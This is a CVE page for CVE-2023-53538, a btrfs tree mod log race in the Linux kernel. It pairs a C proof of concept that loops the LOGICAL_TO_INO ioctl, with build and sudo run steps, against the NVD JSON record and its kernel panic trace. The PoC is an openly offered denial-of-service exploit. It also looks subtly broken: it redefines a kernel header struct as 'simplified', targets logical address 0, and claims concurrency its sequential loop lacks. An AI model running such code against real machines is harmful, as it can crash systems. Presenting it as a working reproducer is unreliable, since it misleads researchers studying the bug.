CVE-2023-53538

// CVE-2023-53538 PoC - Trigger BTRFS tree mod log rewind race condition // This PoC demonstrates how to trigger the NULL pointer dereference // in BTRFS tree mod log rewind via push_node_left #include <stdio.h> #include <stdlib.h> #include <string.h> #include <fcntl.h> #include <unistd.h> #include <sys/ioctl.h> #include <linux/btrfs.h> // BTRFS ioctl command for logical to inode resolution // This triggers the backref walking path that hits the race condition #define BTRFS_IOC_LOGICAL_TO_INO _IOWR(BTRFS_IOCTL_MAGIC, 53, \ struct btrfs_ioctl_logical_ino_args) struct btrfs_ioctl_logical_ino_args { __u64 logical; __u64 flags; __u64 inodes[4]; // Simplified structure }; int main(int argc, char *argv[]) { int fd; struct btrfs_ioctl_logical_ino_args args; const char *btrfs_mount = "/mnt/btrfs_test"; // Step 1: Open a file/directory on BTRFS filesystem fd = open(btrfs_mount, O_RDONLY); if (fd < 0) { perror("open"); return 1; } // Step 2: Set up logical inode resolution parameters // The logical address should target a busy B-tree node memset(&args, 0, sizeof(args)); args.logical = 0; // Target logical address args.flags = 0; // Step 3: Continuously trigger logical_to_ino ioctl // This triggers backref walking which may hit the race condition // in tree mod log rewind during push_node_left printf("Triggering CVE-2023-53538 race condition...\n"); printf("This may cause kernel panic if vulnerable.\n"); for (int i = 0; i < 1000; i++) { // Concurrently perform B-tree modifications to trigger // the specific REMOVE/ADD/MOVE sequence in tree mod log ioctl(fd, BTRFS_IOC_LOGICAL_TO_INO, &args); // Force tree mod log operations by creating files char path[256]; snprintf(path, sizeof(path), "%s/test_%d", btrfs_mount, i); int tmp = open(path, O_CREAT | O_WRONLY, 0644); if (tmp >= 0) { write(tmp, "data", 4); close(tmp); unlink(path); } } close(fd); return 0; } // Build instructions: // gcc -o poc poc.c // Run as: sudo ./poc // // Note: This vulnerability requires specific timing to trigger. // Multiple concurrent operations on BTRFS filesystem increase // the likelihood of hitting the race condition in push_node_left // where the tree mod log MOVE operation is not properly recorded.

{"cve": {"id": "CVE-2023-53538", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2025-10-04T16:15:48.813", "lastModified": "2026-03-25T00:40:36.257", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nbtrfs: insert tree mod log move in push_node_left\n\nThere is a fairly unlikely race condition in tree mod log rewind that\ncan result in a kernel panic which has the following trace:\n\n [530.569] BTRFS critical (device sda3): unable to find logical 0 length 4096\n [530.585] BTRFS critical (device sda3): unable to find logical 0 length 4096\n [530.602] BUG: kernel NULL pointer dereference, address: 0000000000000002\n [530.618] #PF: supervisor read access in kernel mode\n [530.629] #PF: error_code(0x0000) - not-present page\n [530.641] PGD 0 P4D 0\n [530.647] Oops: 0000 [#1] SMP\n [530.654] CPU: 30 PID: 398973 Comm: below Kdump: loaded Tainted: G S O K 5.12.0-0_fbk13_clang_7455_gb24de3bdb045 #1\n [530.680] Hardware name: Quanta Mono Lake-M.2 SATA 1HY9U9Z001G/Mono Lake-M.2 SATA, BIOS F20_3A15 08/16/2017\n [530.703] RIP: 0010:__btrfs_map_block+0xaa/0xd00\n [530.755] RSP: 0018:ffffc9002c2f7600 EFLAGS: 00010246\n [530.767] RAX: ffffffffffffffea RBX: ffff888292e41000 RCX: f2702d8b8be15100\n [530.784] RDX: ffff88885fda6fb8 RSI: ffff88885fd973c8 RDI: ffff88885fd973c8\n [530.800] RBP: ffff888292e410d0 R08: ffffffff82fd7fd0 R09: 00000000fffeffff\n [530.816] R10: ffffffff82e57fd0 R11: ffffffff82e57d70 R12: 0000000000000000\n [530.832] R13: 0000000000001000 R14: 0000000000001000 R15: ffffc9002c2f76f0\n [530.848] FS: 00007f38d64af000(0000) GS:ffff88885fd80000(0000) knlGS:0000000000000000\n [530.866] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033\n [530.880] CR2: 0000000000000002 CR3: 00000002b6770004 CR4: 00000000003706e0\n [530.896] DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000\n [530.912] DR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000400\n [530.928] Call Trace:\n [530.934] ? btrfs_printk+0x13b/0x18c\n [530.943] ? btrfs_bio_counter_inc_blocked+0x3d/0x130\n [530.955] btrfs_map_bio+0x75/0x330\n [530.963] ? kmem_cache_alloc+0x12a/0x2d0\n [530.973] ? btrfs_submit_metadata_bio+0x63/0x100\n [530.984] btrfs_submit_metadata_bio+0xa4/0x100\n [530.995] submit_extent_page+0x30f/0x360\n [531.004] read_extent_buffer_pages+0x49e/0x6d0\n [531.015] ? submit_extent_page+0x360/0x360\n [531.025] btree_read_extent_buffer_pages+0x5f/0x150\n [531.037] read_tree_block+0x37/0x60\n [531.046] read_block_for_search+0x18b/0x410\n [531.056] btrfs_search_old_slot+0x198/0x2f0\n [531.066] resolve_indirect_ref+0xfe/0x6f0\n [531.076] ? ulist_alloc+0x31/0x60\n [531.084] ? kmem_cache_alloc_trace+0x12e/0x2b0\n [531.095] find_parent_nodes+0x720/0x1830\n [531.105] ? ulist_alloc+0x10/0x60\n [531.113] iterate_extent_inodes+0xea/0x370\n [531.123] ? btrfs_previous_extent_item+0x8f/0x110\n [531.134] ? btrfs_search_path_in_tree+0x240/0x240\n [531.146] iterate_inodes_from_logical+0x98/0xd0\n [531.157] ? btrfs_search_path_in_tree+0x240/0x240\n [531.168] btrfs_ioctl_logical_to_ino+0xd9/0x180\n [531.179] btrfs_ioctl+0xe2/0x2eb0\n\nThis occurs when logical inode resolution takes a tree mod log sequence\nnumber, and then while backref walking hits a rewind on a busy node\nwhich has the following sequence of tree mod log operations (numbers\nfilled in from a specific example, but they are somewhat arbitrary)\n\n REMOVE_WHILE_FREEING slot 532\n REMOVE_WHILE_FREEING slot 531\n REMOVE_WHILE_FREEING slot 530\n ...\n REMOVE_WHILE_FREEING slot 0\n REMOVE slot 455\n REMOVE slot 454\n REMOVE slot 453\n ...\n REMOVE slot 0\n ADD slot 455\n ADD slot 454\n ADD slot 453\n ...\n ADD slot 0\n MOVE src slot 0 -> dst slot 456 nritems 533\n REMOVE slot 455\n REMOVE slot 454\n REMOVE slot 453\n ...\n REMOVE slot 0\n\nWhen this sequence gets applied via btrfs_tree_mod_log_rewind, it\nallocates a fresh rewind eb, and first inserts the correct key info for\nthe 533 elements, then overwrites the first 456 of them, then decrements\nthe count by 456 via the add ops, then rewinds the move by doing a\nmemmove from 456:988->0:532. We have never written anything past 532,\n---truncated---"}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-476"}]}], "configurations": [{"nodes": [{"operator": "OR", ... (truncated)